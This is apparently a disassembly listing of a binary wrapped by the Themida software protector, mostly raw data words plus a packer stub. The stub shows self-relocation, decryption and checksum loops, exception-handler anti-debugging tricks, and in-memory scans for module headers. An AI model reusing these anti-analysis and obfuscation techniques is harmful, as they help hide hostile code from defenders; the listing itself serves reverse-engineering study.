dd 0D2CC0000h, 56h, 0 dd 7F540000h, 25Eh, 0AF170000h, 363Bh, 0 dd 9EB90000h, 0FFFFh, 2 dup(0) dd 0FFB00000h, 0EEh, 63h dup(0) dd 67AC0000h, 989D0056h, 6EE3h, 4 dup(0) dd 0C1C0000h, 1F13h, 0Bh dup(0) dd 9E1E0000h, 72FEh, 0 dd 0FE20000h, 0A5E70058h, 0A2h, 1Ch dup(0) dd 3040000h, 7FFEh, 0B54C0000h, 0AA8h, 4 dup(0) dd 54DB0000h, 0AEh, 0 dd 37170000h, 0BAF9FFFEh, 59h, 4 dup(0) dd 0FE60000h, 9Dh, 8 dup(0) dd 6F730000h, 7 dup(0) dd 258h, 8 dup(0) dd 93000000h, 2DE00000h, 5Ah, 0 dd 0CB280000h, 0E089h, 4 dup(0) dd 900000h, 1E900000h, 3B70h, 75B50000h, 3 dup(0) dd 1D190000h, 56h, 2 dup(0) dd 0F3B80000h, 0FFF7h, 2Ch dup(0) dd 99950000h, 0A2h, 0FAB10000h, 55h, 0 dd 3040000h, 7FFEh, 5 dup(0) dd 5ECC0000h, 0DB4077DDh, 7157FFFFh, 59h, 4 dup(0) dd 915B0000h, 9Eh, 0 dd 0FE160000h, 52h, 3 dup(0) dd 17300000h, 3 dup(0) dd 0EC0000h, 2 dup(0) dd 0E7420000h, 0CDE4753h, 56h, 0FFB00000h, 304018Eh, 2 dup(0) dd 4F5A0000h, 2E9E00C9h, 48E9005Ah, 1, 0 dd 288h, 3 dup(0) dd 0C96A0000h, 2AFC77D4h, 0FEh, 0 dd 2E0F0000h, 0A83777F5h, 77E7h, 8B820000h, 77E7h, 0 dd 0C8E90000h, 46020001h, 0FAA0000h, 58h, 0D8100000h, 55h dd 40000h, 0A6840000h, 3 dup(0) dd 940000h, 0Bh dup(0) dd 8EB0000h, 0 dd 23Fh, 3D970000h, 1DBh, 0FBF30000h, 7FFEh, 2 dup(0) dd 20000h, 0B5660000h, 94DCh, 93930000h, 716B009Eh, 0FFA6h dd 3 dup(0) dd 76110000h, 8002h, 3 dup(0) dd 0CE9D0000h, 57h, 0 dd 7FFF0000h, 6180059h, 77E8h, 241D0000h, 7EC2h, 7C0000h dd 6 dup(0) dd 67AC0000h, 56h, 0FAB10000h, 0FFFFh, 6 dup(0) dd 0FF540000h, 12h, 95690000h, 10h dup(0) dd 0A00000h, 0 dd 6CB80000h, 247h, 94990000h, 9Eh, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0DF310000h, 67BAh, 0B2h dup(0) dd 6CE10000h, 809Ch, 5 dup(0) dd 30477F5h, 7FFEh, 8 dup(0) dd 0D5BC0000h, 55h, 0 dd 6F730000h, 2 dup(0) dd 99640000h, 6BC5h, 76860000h, 5A321FFEh, 56h, 5 dup(0) dd 3040000h, 21217FFEh, 2121h, 4 dup(0) dd 359B0000h, 59h, 3 dup(0) dd 259h, 2 dup(0) dd 0FA560000h, 9Eh, 7 dup(0) dd 77D4h, 2 dup(0) dd 0ACh, 0 dd 1E570000h, 5A9Fh, 2 dup(0) dd 91140000h, 0A75D0058h, 0D5D6h, 0 dd 5E80000h, 0 dd 6F730000h, 7 dup(0) dd 93EF0000h, 77E7h, 34300000h, 312Dh, 17h dup(0) dd 32C60000h, 8D31h, 7 dup(0) dd 0C8B80000h, 163Fh, 3C8C0000h, 1040Ah, 6 dup(0) dd 70780000h, 0 dd 2080000h, 0FFA7h, 7 dup(0) dd 20000000h, 0FC540000h, 3048001h, 7FFEh, 0 dd 190000h, 0 dd 0F790000h, 719D0056h, 1498h, 9C370000h, 0EE83009Eh dd 0FA177F7h, 56h, 0 dd 3CD80000h, 59h, 31310000h, 572Fh, 7 dup(0) db 0 byte_530055 db 3 dup(0) ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 3 dup(0) dd 0C7A80000h, 0FFFFh, 2 dup(0) dd 8C0A0000h, 9Eh, 0Ah dup(0) dd 10000h, 0AA0000h, 8 dup(0) dd 0FAA0000h, 58h, 2BDE0000h, 1693009Eh, 5826h, 0 dd 93000000h, 3040000h, 7FFEh, 77E6h, 0 dd 0C0B0000h, 1D47h, 4 dup(0) dd 0AC5E0000h, 77E7h, 0 dd 1F13h, 0BE660000h, 56h, 54F0000h, 0FFAAh, 7 dup(0) dd 733B0000h, 59h, 2 dup(0) dd 5D60000h, 57h, 0 dd 4EC20000h, 17EFh, 5 dup(0) dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9EA037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 13h dup(0) dd 0C8A80000h, 56h, 54590000h, 1965h, 7 dup(0) dd 4AA80000h, 100F5562h, 840059h, 0FFB00000h, 608B018Eh dd 0C5F6h, 6 dup(0) dd 0C96A0000h, 77D4h, 0 dd 67AC0000h, 56h, 0Eh dup(0) dd 77DDh, 3 dup(0) dd 20000h, 1Ah dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 36360000h, 3636h, 8 dup(0) dd 10000h, 2 dup(0) dd 9EB90000h, 0FFFFh, 418D0000h, 58h, 0 dd 97C20000h, 5Ah, 2 dup(0) dd 8F790000h, 773B0057h, 58h, 5 dup(0) dd 16610000h, 1120h, 0DF300000h, 9Fh, 3040000h, 7FFEh dd 4 dup(0) dd 5A320000h, 23D70056h, 77DDh, 32570000h, 305Ch, 5 dup(0) dd 9Dh, 4 dup(0) dd 61EC0000h, 0A5FD0057h, 1E9677E7h, 59h, 0Fh dup(0) dd 632C0000h, 0A1FE0000h, 30400AEh, 0DAC57FFEh, 3E3B0055h dd 9Eh, 5 dup(0) dd 10000h, 0FD080000h, 12h, 3 dup(0) dd 31540000h, 5CB5009Fh, 77E7h, 4 dup(0) dd 0FCF40000h, 0FFFFh, 0Ah dup(0) dd 6F730000h, 519D0000h, 0FFE7h, 0FF540000h, 12h, 0 dd 0C6F20000h, 0C4A8h, 31450000h, 9Eh, 10000h, 0F4530000h dd 52h, 0F0560000h, 0FFA7h, 6 dup(0) dd 10000h, 23FA0000h, 9Fh, 3 dup(0) dd 7E20000h, 53h, 17h dup(0) dd 0FCF70000h, 9Eh, 6 dup(0) dd 42F00000h, 8C45h, 10000h, 0 dd 40BD0000h, 56h, 5 dup(0) dd 0D8F00000h, 9BACFFFFh, 0A0h, 2 dup(0) dd 40F70000h, 781B0058h, 7EC2h, 3040000h, 7FFEh, 3 dup(0) dd 4F60000h, 53h, 3 dup(0) dd 230000h, 56h, 28300000h, 0B4h, 8 dup(0) dd 27B10000h, 55h, 3 dup(0) dd 3040000h, 7FFEh, 69070000h, 59h, 780000h, 2 dup(0) dd 3040000h, 7FFEh, 2AFC0000h, 0FEh, 5 dup(0) dd 0E7530000h, 2FE80056h, 862F77E8h, 5E79h, 0 dd 67AC0000h, 2 dup(0) dd 10000000h, 4Dh, 77F5h, 28300000h, 0E000B4h, 4 dup(0) dd 0D5B20000h, 0EBB377F5h, 6BD377F7h, 5DAF0247h, 9Eh, 4 dup(0) dd 390000h, 5 dup(0) dd 0FF1C0000h, 0D0000012h, 959B001Ah, 22220059h, 22222222h dd 2222h, 0Ch dup(0) dd 0A6E90000h, 77EBh, 0 dd 0B1680000h, 9Dh, 2 dup(0) dd 0B39B0000h, 61Dh, 2 dup(0) dd 94990000h, 9Eh, 0B1140000h, 3EC4B12h, 3 dup(0) dd 9630000h, 6FFh, 2 dup(0) dd 8B820000h, 77E7h, 0Ah dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 41170000h, 56h, 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_530856: ; CODE XREF: start:loc_52D4F5j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 61B336Bh mov [ebp+61B10D9h], edx mov [ebp+61B13DDh], esi mov [ebp+61B1A61h], eax cmp dword ptr [ebp+61B1455h], 0 jz short loc_53088E mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53088E: ; CODE XREF: start+5D86Cj mov eax, [esp+40h+var_1C] mov [ebp+61B2459h], eax push 45h call sub_530942 push 783749Ah call sub_530988 push 0A894B25h call sub_530988 jmp loc_530ACC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_530942 proc near ; CODE XREF: start+5D886p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 61B3459h mov ebx, edx mov [ebp+var_28], 0 loc_53095E: ; CODE XREF: sub_530942+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53097D mov eax, [ebp+arg_0] mov [ebx+61B33C3h], eax inc [ebp+arg_0] inc ebx jmp short loc_53095E ; --------------------------------------------------------------------------- loc_53097D: ; CODE XREF: sub_530942+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_530942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_530988 proc near ; CODE XREF: start+5D890p start+5D89Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 61B34A2h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_5309AE: ; CODE XREF: sub_530988+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_5309AE mov [ebp+var_84], 0 lea edi, [edx+61B33C3h] lea esi, [ebp+var_80] loc_5309DE: ; CODE XREF: sub_530988+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_5309EA: ; CODE XREF: sub_530988+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_5309EA imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_5309DE popa leave retn 4 sub_530988 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_530A28 ; --------------------------------------------------------------------------- loc_530A24: ; CODE XREF: Themida_:00530A2Bj inc dword ptr [ebp-4] inc esi loc_530A28: ; CODE XREF: Themida_:00530A22j cmp byte ptr [esi], 0 jnz short loc_530A24 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_530AB9 ; --------------------------------------------------------------------------- loc_530A3A: ; CODE XREF: Themida_:00530ABCj mov dword ptr [ebp-8], 0 jmp short loc_530AB0 ; --------------------------------------------------------------------------- loc_530A43: ; CODE XREF: Themida_:00530AB4j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_530A9D ; --------------------------------------------------------------------------- loc_530A53: ; CODE XREF: Themida_:00530AA1j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_530A75 cmp bl, 39h ja short loc_530A75 sub bl, 30h jmp short loc_530A97 ; --------------------------------------------------------------------------- loc_530A75: ; CODE XREF: Themida_:00530A69j ; Themida_:00530A6Ej cmp bl, 61h jb short loc_530A87 cmp bl, 66h ja short loc_530A87 sub bl, 61h add bl, 0Ah jmp short loc_530A97 ; --------------------------------------------------------------------------- loc_530A87: ; CODE XREF: Themida_:00530A78j ; Themida_:00530A7Dj cmp bl, 41h jb short loc_530A97 cmp bl, 46h ja short loc_530A97 sub bl, 41h add bl, 0Ah loc_530A97: ; CODE XREF: Themida_:00530A73j ; Themida_:00530A85j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_530A9D: ; CODE XREF: Themida_:00530A51j cmp dword ptr [ebp-0Ch], 2 jb short loc_530A53 cmp dword ptr [ebp-10h], 0 jbe short loc_530AAD mov eax, [ebp-10h] stosb loc_530AAD: ; CODE XREF: Themida_:00530AA7j inc dword ptr [ebp-8] loc_530AB0: ; CODE XREF: Themida_:00530A41j cmp dword ptr [ebp-8], 2 jb short loc_530A43 add edx, 4 loc_530AB9: ; CODE XREF: Themida_:00530A38j cmp edx, [ebp-4] jb loc_530A3A mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_530ACC: ; CODE XREF: start+5D89Fj mov ecx, 7000h lea edi, [ebp+61B35E8h] loc_530AD7: ; CODE XREF: start+5DAC7j dec byte ptr [edi] inc edi dec ecx jnz short loc_530AD7 mov eax, 48692121h mov edx, 0F00D3000h sub edx, 0F0000000h lea eax, [ebp+61B36DFh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax stc pusha movsx edx, si ; CODE XREF: start+5DB0Dj call near ptr loc_530B21+1 aaa and bh, cl xchg eax, edx dec edi mov byte ptr [ebx], 4Eh pop ebp xchg eax, esp cwde arpl sp, sp pop ss dec edi loc_530B21: ; CODE XREF: start+5DAF9p jnz short near ptr loc_530B0A+2 adc [eax], eax ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 2 dup(0), 6Fh dd 6D80A855h, 828CEAECh, 0FF655644h, 0E94A85DFh, 0C22B615Eh dd 25DA8Bh, 66FFFFF0h, 8BA1BBBBh, 66FF33CAh, 5A4D3881h dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h, 10002Dh dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 61B36F2h dd 35FF6452h, 0 dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h dd 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 1B36FDEDh, 0BB858D06h, 89061B36h, 0B881h, 33595D00h dd 6496C3C0h, 58Fh, 0C4830000h, 9E804h, 9F030000h, 0A958AB00h dd 66C49033h, 665BD98Bh, 80FCD98Ch, 5DBB04E1h, 0BB1450E3h dd 42A19084h, 850FC90Ah, 16h, 0C7DF8B66h, 1B1CD585h, 106h dd 0FE900h, 0BB660000h, 85C7DA92h, 61B1CD5h, 0 dd 0F98589F8h, 0F061B2Bh, 0BF60DBBFh, 19D360Eh, 5E8h, 3E21F000h dd 61604801h, 85896158h, 61B2F11h, 10E8h, 0C772C300h, 210AA99h dd 89118BD2h, 4798F8E6h, 0D38B6651h, 14E958h, 4A310000h dd 0ACDF109Dh, 40E29F95h, 81EEE5FCh, 0C0F468AAh, 0C08100A0h dd 5CD1h, 108A0Fh, 0BE90000h, 0FF000000h, 0D03891B6h, 0A182437Ah dd 0BB392Ah, 66000000h, 0FF35D0BEh, 815F0334h, 0D55F18EAh dd 0DDC78120h, 0F75190Dh, 89h, 52F78100h, 8040D7E2h, 0EF812FE6h dd 37DDB15Eh, 3C89E5B5h, 0EE816618h, 0CF8B6B39h, 6604EB83h dd 810141BAh, 0FFA3C8FBh, 0BC850FFFh, 0FFFFFFFh, 189h dd 14E8F500h, 0BD000000h, 7954D520h, 9041CF25h, 81207C2h dd 4B75E4E9h, 66F517DAh, 4790C381h, 0A502B95Eh, 0C6812FB8h dd 6AE6h, 0FF33EEB7h, 7890Fh, 0BB500000h, 670D722Eh, 3734FF59h dd 588DD280h, 0F7CD8060h, 28F0Fh, 61600000h, 0F7F08161h dd 8144B229h, 7C7417E2h, 12F08134h, 6605B9ACh, 0E881D88Bh dd 71273718h, 12890Fh, 830F0000h, 0Ch, 7E9h, 36CBAA00h dd 0C0DE8CC6h, 0F83E0489h, 9F36EA81h, 0EF83746Dh, 8E802h dd 77680000h, 0E0A20CCh, 81601C87h, 5BD96EEBh, 4F5A6102h dd 6656604Fh, 5BC3DBBAh, 0D0FF8161h, 0FFFFF95h, 0FFFF8085h dd 0A2BA66FFh, 6BEE970h, 29600000h, 1B23858Dh, 8A0F6106h dd 11h, 0CE9h, 0DE535400h, 1999E45Dh, 0E2AA83CAh, 2171Dh dd 95890000h, 61B0D39h, 0B5BD8960h, 0B8061B11h, 0 dd 0B198589h, 548B061Bh, 0BD892824h, 61B0B3Dh, 7258589h dd 8B0F061Bh, 13h, 0EE9h, 2A986500h, 0B4FD50DAh, 8739316Ch dd 0BE290181h, 3Ch, 0E8F0Fh, 89600000h, 1B0AAD95h, 59BD8B06h dd 61061B32h, 24247403h, 68A0FF8h, 89000000h, 1B0D558Dh dd 60AD6606h, 1CB1CA81h, 29606CADh, 1B2B7185h, 35958906h dd 61061B1Dh, 24440361h, 0CE924h, 0CBE30000h, 0CF28DCA9h dd 0DC19B30Ah, 5050CC78h, 10E952h, 0EA6F0000h, 0BBF590Dh dd 0EF26CDBFh, 81146E4Ch, 310F8290h, 6860Fh, 52500000h dd 585A310Fh, 489585Ah, 95896024h, 61B1ECDh, 1FE28166h dd 0FE961D0h, 1A000000h, 94400AEAh, 7B9B63DDh, 41238AE6h dd 408BB99Ch, 3D858978h, 89061B1Bh, 1B305D9Dh, 24440306h dd 0A850F28h, 60000000h, 850B95B4h, 61B0BDDh, 18408B61h dd 108E0Fh, 0BE90000h, 7A000000h, 0EE65CF09h, 5F469801h dd 0E94039F4h, 9, 173C648Ch, 0BA10577h, 148589E9h, 60061B39h dd 1C10BF66h, 1765BD8Bh, 5861061Bh, 9ABB6660h, 6870FDCh dd 89000000h, 1B2F9DBDh, 708B6106h, 8D0F6078h, 6, 11BDBD89h dd 830F061Bh, 4, 775EB966h, 1CC68361h, 1935B589h, 7403061Bh dd 2B602424h, 1B334985h, 8D853106h, 61061B0Ch, 9B1BD8Dh dd 0ADF8061Bh, 0FF860F8h, 184h, 361FC00h, 60242444h, 7E9h dd 0B4BFFC00h, 32E42026h, 0CB9B589h, 0AB61061Bh, 35BD8DF8h dd 0F061B07h, 685h, 0ADB58900h, 0AD061B1Bh, 9E9h, 0E8175700h dd 14F799AAh, 440306F8h, 0F5FC2424h, 0C840F50h, 0F000000h dd 68Ch, 0F525000h, 89585A31h, 8D892404h, 61B326Dh, 12E9ABh dd 913F0000h, 7BDBBB07h, 973AFD26h, 38C3B962h, 736A02h dd 1F05BD8Dh, 9D89061Bh, 61B1F41h, 78D0FADh, 60000000h dd 60D38B66h, 44036161h, 8A0F2824h, 7, 1840Fh, 60F90000h dd 0F08B6656h, 840F58h, 61000000h, 895EF9ABh, 1B08DD85h dd 9D896006h, 61B2E81h, 5E953h, 2D940000h, 583F155Fh, 148DFF61h dd 83061B39h, 1B3914BDh, 10750006h, 1C2444C7h, 0 dd 3DB0B58Dh, 0E6FF061Bh, 4403AD56h, 8B972824h, 9D858ADFh dd 84061B23h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 1B072585h, 0FF6FE906h dd 15EFFFFh, 1B2D51B5h, 0A59D8906h, 8B061B22h, 1B072585h dd 0E0D1F506h, 5D8589F9h, 3061B30h, 1B1F0585h, 8850F06h dd 60000000h, 12E9BD89h, 2B61061Bh, 8820FF6h, 0F000000h dd 286h, 96616000h, 0EAD08160h, 613C838Dh, 23818589h, 0AD66061Bh dd 9E9h, 0E3D48D00h, 4CB1F676h, 0E0C12288h, 0EC806002h dd 6117B70Fh, 0E840Fh, 81600000h, 404FDC3h, 559D8B6Ch dd 61061B00h, 9B18503h, 8060061Bh, 0BF0F36E5h, 609661D0h dd 25359D09h, 0BD8B061Bh, 61B2B05h, 8BFCAD61h, 124244Ch dd 1B1BBD8Dh, 24440306h, 1853124h, 89061B02h, 91C2444h dd 1B02E195h, 13E99606h, 9D000000h, 0B87D3ACh, 0EA722CE7h dd 8B4FAD12h, 1AEDD77Ch, 0E9AC3D93h, 0Fh, 0F37F800Ah, 74061455h dd 0C4740D47h, 32547E02h, 89F860C9h, 1B13B58Dh, 0C1FE6106h dd 0FD0D0F5h, 0A083h, 11BD8900h, 0D0061B08h, 92830FD0h dd 1000000h, 1B0D61B5h, 0FD0D006h, 8482h, 6830F00h, 89000000h dd 1B0229B5h, 0D9B50906h, 0D0061B02h, 6A820FD0h, 60000000h dd 8C6B0AB8h, 0F0B70F7Bh, 0FC9FE61h, 0FFFFB089h, 85BD89FFh dd 29061B0Ch, 1B2C559Dh, 20C48306h, 2444C7F8h, 0FCh, 458D8900h dd 0B8061B24h, 1, 10E9h, 0F224200h, 0B73336BEh, 0A0E0C819h dd 0DA91C8E0h, 48D8D75h, 89061B71h, 1B0751B5h, 0CE906h dd 61050000h, 6E94BBA2h, 0F40AC68Ch, 0E1FF383Ah, 9D85C6FCh dd 61B23h, 0E810Fh, 9E90000h, 34000000h, 44198B5Ah, 0E0A52E67h dd 0E1852961h, 0C2061B29h, 810F0008h, 0Ch, 7E9h, 8F6AD600h dd 0D1B7DBA7h, 13E9h, 8726B500h, 19BF124h, 0C79DAB83h dd 8DF4534Ah, 0D090DF64h, 0DE8A6096h, 6E95061h, 0B7000000h dd 0AFCF73A7h, 89F99606h, 1B3F88B5h, 88C0F06h, 0F000000h dd 28Eh, 89616000h, 1B3F938Dh, 9D858906h, 0F9061B03h, 3E88B58Dh dd 0B589061Bh, 61B29E9h, 7E35858Dh, 0EE9005Bh, 73000000h dd 0B02FC089h, 1660179Fh, 0C7A05DC2h, 0BE9D7h, 84DA0000h dd 72D06081h, 0E138F886h, 29D0FF29h, 1B0065BDh, 95295E06h dd 61B07E1h, 0BE9C3h, 7CB10000h, 0E8CA5CB5h, 0C3DBE3E7h dd 88B58B62h, 1061B3Fh, 1B2E3995h, 938D8B06h, 0F061B3Fh dd 0C8Fh, 6860F00h, 9000000h, 1B094985h, 0B806h, 8BF90000h dd 18E0FD9h, 0F9000000h, 0B8E9h, 0E5958900h, 32061B17h dd 11E926h, 0A7A40000h, 1DA05D6h, 85418ACCh, 1969097Ch dd 0B208B1FAh, 0E9B58902h, 0E9061B31h, 0Bh, 0B958040h dd 58508F5Dh, 0E9B79594h, 5Ch, 0CDBD8B60h, 0E9061B1Bh dd 0Fh, 0F54CECCFh, 74583094h, 970E9A21h, 61103F16h, 0F5C232F8h dd 751D7A05h, 8595898Ah, 8A061B0Ch, 0C8D3F8CCh, 25159531h dd 4235061Bh, 0E998D108h, 14h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh dd 3F3CCCB3h, 7E56FFA6h, 8589CAFEh, 61B0839h, 850FD20Ah dd 0FFFFFFB9h, 0A800Fh, 5E90000h, 19000000h, 0C2B46B43h dd 946F84Bh, 1B2B059Dh, 0FDB0B06h, 0FFFF4685h, 99D89FFh dd 0CF061B0Bh, 890000F9h, 1B2F0D9Dh, 0F5000006h, 8C0F0000h dd 0Ah, 1858960h, 0B7061B0Ah, 61E5h, 6810Fh, 9D890000h dd 61B1D41h, 391F858Dh, 89F9061Bh, 1B067185h, 6E906h, 41D0000h dd 468BA980h, 0CE99529h, 858D061Bh, 61B3DFFh, 0F18589FCh dd 0EB061B0Ah, 14h, 3 dup(0) dd 8800h, 0AB858D00h, 89061B40h, 1B179985h, 0ECBD8306h dd 61B3Fh, 12B840Fh, 85C60000h, 61B239Dh, 0F9386856h, 3481A168h dd 77940124h, 0F9B5FF75h, 8D061B2Bh, 1B391F85h, 89D0FF06h dd 1B3FE085h, 9D85C606h, 56061B23h, 0AA121268h, 24048180h dd 1BFEA640h, 2BF9B5FFh, 858D061Bh, 61B391Fh, 8589D0FFh dd 61B3FE4h, 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 1B3FF085h dd 1F40506h, 0E0C10000h, 90509002h, 95FF006Ah, 61B3FE4h dd 3FE88589h, 0D88B061Bh, 0FFFFFFB8h, 9995FFFFh, 8B061B17h dd 9995FFC3h, 0E9061B17h, 8Dh, 3FECBD83h, 0F00061Bh, 185h dd 8B57C300h, 1B3FE8BDh, 8583AB06h, 61B3FE8h, 83C35F04h dd 1B3FECBDh, 850F0006h, 1, 0AD8360C3h, 61B3FE8h, 0E89D8B04h dd 83061B3Fh, 0FFFFC7Bh, 2685h, 4E800h, 80000000h, 8B500000h dd 8B042444h, 24448900h, 6A5804h, 95FF33FFh, 61B3FE0h dd 1DE9C361h, 68000000h, 5A31A744h, 44243481h, 6A5A3127h dd 0FF33FF00h, 1B3FE095h, 0E8AD8306h, 4061B3Fh, 0FFFFA8E9h dd 0ADE948FFh, 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh dd 7884606h, 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h dd 0FFFFE283h, 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah dd 0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h dd 5850Fh, 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 13970000h, 0A7EF7009h, 697F5617h, 9189E3F4h, 1A9CDC8Bh dd 0B18F31DAh, 4934C004h, 4C30F936h, 35CA21FFh, 0E5E47D09h dd 7E6D5E1Bh, 8398B0A6h, 5193998Ch, 0BBFF52B5h, 4829D40Eh dd 4C30AB3Ah, 36C527FDh, 0E5FE7D09h, 61774304h, 9D84AEA6h dd 5F878E97h, 0F7CB31DEh, 5929D019h, 231F977h, 20D127E8h dd 0AAF86409h, 61794305h, 0A8h, 62h dup(0) dd 13970000h, 0ABE57909h, 7E77450Bh, 9F93B3A6h, 129F8E9Fh dd 0A4CE379Fh, 483FD74Bh, 4D23AB78h, 72C026E4h, 0ABE4615Bh dd 2C7F5F0Bh, 89C1ADEFh, 5F8C8997h, 0A3DC26CCh, 2774D80Eh dd 4729DB1Bh, 7EC13BF0h, 0A9E46109h, 2C7C500Dh, 96C1B7EFh dd 5F93938Ah, 0B8C23AD2h, 4C7ACC19h, 5065EF78h, 33D03BF4h dd 0BCAA605Bh, 2C6A440Dh, 978EB1F6h, 51939D8Ah, 48h dup(0) dd 13970000h, 0A4F87709h, 7E7D5A01h, 84C1B0A1h, 5F929397h dd 0F7DC3ED7h, 433FD009h, 572AED36h, 20842CFFh, 0ACE47A5Ch dd 6538560Ch, 9F98E3E8h, 0CDE8E8Dh, 0B2DB2CC6h, 20509B06h dd 4320E746h, 72882DE2h, 0AAE67A5Ch, 65385503h, 8287E3F2h dd 12DE9197h, 0A5C032DAh, 433B9512h, 4737AB72h, 20C53CE2h dd 0AAF3345Dh, 7C384317h, 8286ACF4h, 0D09199h, 61h dup(0) dd 14970000h, 0E5EF7840h, 7E6A5E01h, 9595B3F3h, 5FD0DD9Ch dd 0A4C637EBh, 4228C54Bh, 4F24F971h, 21C520B1h, 0A0EF7609h dd 6D75110Ch, 8591AAE8h, 1A8A9D94h, 0B9CE7FDBh, 4C37950Fh dd 2820E96Fh, 75D0219Ch, 0ABE3345Ah, 787B5404h, 92C1A7E3h dd 5F9FDC81h, 0A2DD36E9h, 5F359518h, 4337E836h, 36C123F2h dd 0ADDE3407h, 6A38420Bh, 0D084AFEFh, 5890938Fh, 0B8D87FCBh dd 4C7ADE19h, 4D28F278h, 8A2DE3h, 0E0h 